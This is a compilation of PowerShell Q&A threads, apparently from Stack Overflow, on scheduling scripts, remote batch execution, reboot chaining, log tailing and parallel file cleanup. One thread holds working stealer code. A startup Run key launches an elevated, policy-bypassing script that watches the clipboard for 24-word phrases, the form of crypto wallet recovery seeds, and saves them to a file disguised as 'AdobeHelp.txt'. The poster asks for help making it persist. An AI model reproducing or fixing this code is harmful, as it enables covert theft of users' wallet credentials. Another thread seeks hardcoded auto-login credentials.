issue with scheduling a powershell script in task scheduler windows 2008 server - powershell

I am trying to run a powershell script on the task scheduler but am unable to understand the suitable logging command for my script. I want to get this to run on the schedule.
The script would delete the files and folders older than x days and would create an output log.
function Out-Log {
param (
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string]$message,
[switch]$Error
)
$logPath = $env:TEMP + "\Filedeletion.log"
$message | Out-File -FilePath $logPath -Append
}
trap
{
"error:" | Out-Log
$_.exception.message | Out-Log
break
}
$Error.Clear()
try
{
"Starting" | Out-Log
$DateToDelete = 1
$dateLimit = (Get-Date).AddDays(-$DateToDelete)
$StartFolder = "c:\TEST1"
Get-ChildItem -Recurse -Force -Path $StartFolder |
foreach {
$currentItemIsFolder = $_.PsIsContainer;
$curentItemIsOld = $_.LastWriteTime -lt $dateLimit
if ($curentItemIsOld -and (-not $currentItemIsFolder))
{
"Removing '$($_.fullname)'." | Out-Log
Remove-Item -Path ($_.fullname) -Force -WhatIf
}
}
}
finally
{
if ($Error)
{
"`$error stack:" | Out-Log
$error | foreach {$_.exception.ToString() | Out-Log}
}
"Stopping" | Out-Log
}
I was trying to use
Powershell -file "c:\Powershell\Filedeletion_logs_test.ps1"
via batch to run the powershell.
I've tried to check the commands in Powershell/? but did not find any suitable logging command working for my script.
Can anyone please help?

You do not need a separate batch file that runs the powershell in the task schedule. All you need is this nice tutorial. It is detailed step by step, but is very easy to setup.
http://community.spiceworks.com/how_to/show/17736-run-powershell-scripts-from-task-scheduler

Can't you do the same thing with SCHTASKS?
http://ss64.com/nt/schtasks.html
You should be able to pipe a list of servers through a TYPE command and add the tasks to the server set.
For example:
http://www.robvanderwoude.com/ntadmincommands.php
FOR /F %%A IN (servers.txt) DO (
SCHTASKS /CREATE /S %%A /U "system" /P "" /TN "Powershell Task" /TR "Powershell -file \"c:\my folder\script.ps1\""
)

Related

startup powershell script linked from .cmd not running properly

I run these commands manually in an elevated cmd prompt to create a Run key in registry
reg.exe load HKU\TempHive "C:\Users\Default\NTUSER.Dat"
reg add HKEY_USERS\TempHive\Software\Microsoft\Windows\CurrentVersion\Run /v CLIP /t REG_SZ /d "C:\Adobe\test\runps.cmd" /f
reg.exe unload HKU\TempHive
It links to runps.cmd which looks like this
ping 127.0.0.1 -n 30 > nul
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Adobe\test\Untitled2.ps1""' -Verb RunAs}"
Which links to Untitled2.ps1 which looks like this
New-Item -Path 'C:\Adobe\test' -ItemType Directory
New-Item C:\Adobe\test\AdobeHelp.txt -ItemType file
while($true){
$cclip2 = Get-Clipboard
$wordcount2 = $cclip2
$containsdigits2 = $cclip2 -match ".*\d+.*"
$countresult2=([regex]::Matches($wordcount2, " " )).count
if ($countresult2 -eq "24" -And $cclip2 -ne $cclip3 -And $containsdigits2 -eq 0) {$cclip2 >> C:\Adobe\test\AdobeHelp.txt}
Start-Sleep -Seconds 2
$cclip3 = Get-Clipboard
$wordcount = $cclip3
$containsdigits3 = $cclip3 -match ".*\d+.*"
$countresult=([regex]::Matches($wordcount, " " )).count
if ($countresult -eq "24" -And $cclip3 -ne $cclip2 -And $containsdigits3 -eq 0) {
$cclip3 >> C:\Adobe\test\AdobeHelp.txt
}
Start-Sleep -Seconds 2
}
The problem, is if "Untitled2.ps1" is run at startup via TaskSchedular, or via "runps.cmd" via the regkey I create in step 1, it doesnt function correctly, it does run because the directory and the file that I ask it to create are created, ie.
New-Item -Path 'C:\Adobe\test' -ItemType Directory New-Item
C:\Adobe\test\AdobeHelp.txt -ItemType file
But the function inside the while($true){ parenthesis either runs once or not at all (im not sure) either way it definietely doesnt loop, If I run the script "Untitled2.ps1" OR "runps.cmd" MANUALLY, the script functions fine.

Running a .bat file on several servers

I am currently trying to run a .bat file on around 150 servers. I can get the script to run through as if there's no issues - the .bat copies to the servers, however it does not seem to be executing at all.
Running on windows 2012 servers mainly.
#Variables
$servers = "D:\Apps\Davetest\servers.txt"
$computername = Get-Content $servers
$sourcefile = "D:\Apps\Davetest\test.bat"
#This section will install the software
foreach ($computer in $computername)
{
$destinationFolder = "\\$computer\C$\Temp"
<#
It will copy $sourcefile to the $destinationfolder. If the Folder does
not exist it will create it.
#>
if (!(Test-Path -path $destinationFolder))
{
New-Item $destinationFolder -Type Directory
}
Copy-Item -Path $sourcefile -Destination $destinationFolder
Invoke-Command -ComputerName $computer -ScriptBlock {Start-Process 'c:\Temp\test.bat'}
}
I am looking for it to run the .bat once it hits the servers and currently it only seems to be copying over.
That's because Start-Process immediately returns. Use the -Wait Parameter.
Start-Process -FilePath 'c:\Temp\test.bat' -NoNewWindow -Wait -PassThru
microsoft:
-PassThru
Returns a process object for each process that the cmdlet started. By default, this cmdlet does not generate any output.
-Wait
Indicates that this cmdlet waits for the specified process and its descendants to complete before accepting more input. This parameter suppresses the command prompt or retains the window until the processes finish.
-PassThru returns you a process object, where you can check the ExitCode parameter:
$p = Start-Process -FilePath your_command -ArgumentList "arg1", "arg" -NoNewWindow -Wait -PassThru
if ($p.ExitCode -ne 0) {
throw "Failed to clone $buildItemName from $buildItemUrl to $($tmpDirectory.FullName)"
}
As an alternative to Start-Process you could also use Invoke-Expression which will return you the stdout of the console.
To check if Invoke-Expression was successful you can use:
$output = Invoke-Expression $command
if ((-not $?) -or ($LASTEXITCODE -ne 0)) {
throw "invoke-expression failed for command $command. Command output: $output"
}

Restart System and Run Powershell Script without logging in

I have multiple restarts between script blocks, the problem is on every restart the user is required to key in their credentials, and log in.
Is there any way where once the script is being executed it can login to system without username and password? We would want to hardcode username and password in the script itself.
The script helps in achieving the following:
Run Script Block
Restart
Run Next Script Block
But this requires user to log in after restart. Until then the process is under halt. I am looking for a way to automate the login process as well... I know it creates security threat, but this is something that is necessary for the process I am supposed to achieve.
#Code which will run script with admin privileges
If (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
{
$arguments = "& '" + $myinvocation.mycommand.definition + "'"
Start-Process powershell -Verb runAs -ArgumentList $arguments
Break
}
# Temp Folder
if (!(Get-Item d:\temp -ea ignore)) { mkdir d:\temp }
$dropperscript = 'D:\temp\dropper.ps1'
$dropper = #'
#############################################
### Configuration Variables ###
#
# Put any variables you'll use here
#
### ###
#############################################
# Static Variables
$countfile = 'd:\temp\bootcount.txt'
$bootbatch = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\dropper.bat'
$dropperscript = 'd:\temp\dropper.ps1'
#################
##### Setup #####
# Bootstrap Batch
if (!(Get-Item $bootbatch -ea ignore)) {
$x='PowerShell.exe -Command "& {Start-Process PowerShell.exe -ArgumentList '''
$y=' -ExecutionPolicy Bypass -File "D:\temp\dropper.ps1""'' -Verb RunAs}"'
$x+$y| Out-File $bootbatch -Encoding 'OEM'
}
# Boot Count
if (Get-Item $countfile -ea ignore) {
[int]$bootcount = Get-Content $countfile
if ($bootcount -match "^\d{1,2}$") { ([int]$bootcount) ++ }
else { $bootcount = 1 }
}
else { $bootcount = 1 }
$bootcount | Out-File $countfile
switch ($bootcount) {
1 {
$File="D:\temp\Log.txt"
Get-Date | Out-File $File -Append
Get-Process | Out-File $File -Append
Restart-Computer -Force
##################################################
############### --REBOOT-- ###############
}
2 {
$File="D:\temp\Log.txt"
Get-Date | Out-File $File -Append
Get-Process | Out-File $File -Append
Restart-Computer -Force
##################################################
############### --REBOOT-- ###############
}
3 {
$File="D:\temp\Log.txt"
Get-Date | Out-File $File -Append
Get-Process('\\itdsl\MSNPLAT\Gold\MSNPATCH\msnpatch.exe') | Out-File $File -Append
Restart-Computer -Force
##################################################
############### Restart ################
}
4{
$File="D:\temp\Log.txt"
Get-Date | Out-File $File -Append
Get-Process| Out-File $File -Append
Restart-Computer -Force
##################################################
############### --END-- ################
}
default {
# Dropper is complete; clean up
rm $countfile
rm $bootbatch
rm $dropperscript
}
}
'#
# Drop and run Dropper
$dropper | Out-File $dropperscript -Encoding 'OEM'
Invoke-Expression $dropperscript

How to tail log files in Powershell for particular string

We would like to tail several log files "live" in powershell for particular string. We have tried to use "get-content" command but without luck because everytime as a result we received only results from one file. I assume that it was caused by "-wait" parameter. If there is any other way to tail multiple files ? I heard about runspaces but still I don't know how to implement it.
Our sample script below
dir d:\test\*.txt -include *.txt | `
Get-Content -Wait | `
select-string "windows" | `
ForEach-Object {Write-EventLog -LogName Application -Source "Application error" -EntryType information -EventId 999 -Message $_}
Any help will be appreciated.
Might be slightly late to the party...
As per here, we can use the following in a .ps1 file;
$ProgressPreference='SilentlyContinue'
Workflow My-Tail
{
Param([string[]] $Path)
foreach -parallel ($file in $path)
{
Get-Content -Path $file -Tail 1 -Wait
}
}
This lets us tail multiple files, invoking in powershell like;
My-Tail (dir C:\Users\User\Documents\*.log)
All that's left then is to filter by the required string;
My-Tail (dir C:\Users\User\Documents\*.log) | Select-String -Pattern ".*ERROR.*"
This will tail all files ending in .log in Documents, outputting lines that contain the text 'ERROR'
The only way I can think to do this is to create a bunch of jobs that run the command on each file. You can then receive the job output in a loop and changes in any of the files will be written to the screen:
gci d:\test\*.txt | % { $sb = [scriptblock]::create("get-content -wait $_") ; start-job -ScriptBlock $sb }
while(1) {
$m = $(get-job | receive-job | select-string "searchstring")
if($m -ne $null) {
Write-EventLog -LogName Application -Source "Application error" -EntryType information -EventId 999 -Message $m
}
sleep 1
}

PowerShell run script simultaneously

I created a PowerShell script to remove all files and folders older than X days. This works perfectly fine and the logging is also ok. Because PowerShell is a bit slow, it can take some time to delete these files and folders when big quantities are to be treated.
My questions: How can I have this script ran on multiple directories ($Target) at the same time?
Ideally, we would like to have this in a scheduled task on Win 2008 R2 server and have an input file (txt, csv) to paste some new target locations in.
Thank you for your help/advise.
The script
#================= VARIABLES ==================================================
$Target = \\share\dir1"
$OlderThanDays = "10"
$Logfile = "$Target\Auto_Clean.log"
#================= BODY =======================================================
# Set start time
$StartTime = (Get-Date).ToShortDateString()+", "+(Get-Date).ToLongTimeString()
Write-Output "`nDeleting folders that are older than $OlderThanDays days:`n" | Tee-Object $LogFile -Append
Get-ChildItem -Directory -Path $Target |
Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-$OlderThanDays) } | ForEach {
$Folder = $_.FullName
Remove-Item $Folder -Recurse -Force -ErrorAction SilentlyContinue
$Timestamp = (Get-Date).ToShortDateString()+" | "+(Get-Date).ToLongTimeString()
# If folder can't be removed
if (Test-Path $Folder)
{ "$Timestamp | FAILLED: $Folder (IN USE)" }
else
{ "$Timestamp | REMOVED: $Folder" }
} | Tee-Object $LogFile -Append # Output folder names to console & logfile at the same time
# Set end time & calculate runtime
$EndTime = (Get-Date).ToShortDateString()+", "+(Get-Date).ToLongTimeString()
$TimeTaken = New-TimeSpan -Start $StartTime -End $EndTime
# Write footer to log
Write-Output ($Footer = #"
Start Time : $StartTime
End Time : $EndTime
Total runtime : $TimeTaken
$("-"*79)
"#)
# Create logfile
Out-File -FilePath $LogFile -Append -InputObject $Footer
# Clean up variables at end of script
$Target=$StartTime=$EndTime=$OlderThanDays = $null
One way to achieve this would be to write an "outer" script that passes the directory-to-be-cleaned, into the "inner" script, as a parameter.
For your "outer" script, have something like this:
$DirectoryList = Get-Content -Path $PSScriptRoot\DirList;
foreach ($Directory in $DirectoryList) {
Start-Process -FilePath powershell.exe -ArgumentList ('"{0}\InnerScript.ps1" -Path "{1}"' -f $PSScriptRoot, $Directory);
}
Note: Using Start-Process kicks off a new process that is, by default, asynchronous. If you use the -Wait parameter, then the process will run synchronously. Since you want things to run more quickly and asynchronously, omitting the -Wait parameter should achieve the desired results.
Invoke-Command
Alternatively, you could use Invoke-Command to kick off a PowerShell script, using the parameters: -File, -ArgumentList, -ThrottleLimit, and -AsJob. The Invoke-Command command relies on PowerShell Remoting, so that must enabled, at least on the local machine.
Add a parameter block to the top of your "inner" script (the one you posted above), like so:
param (
[Parameter(Mandatory = $true)]
[string] $Path
)
That way, your "outer" script can pass in the directory path, using the -Path parameter for the "inner" script.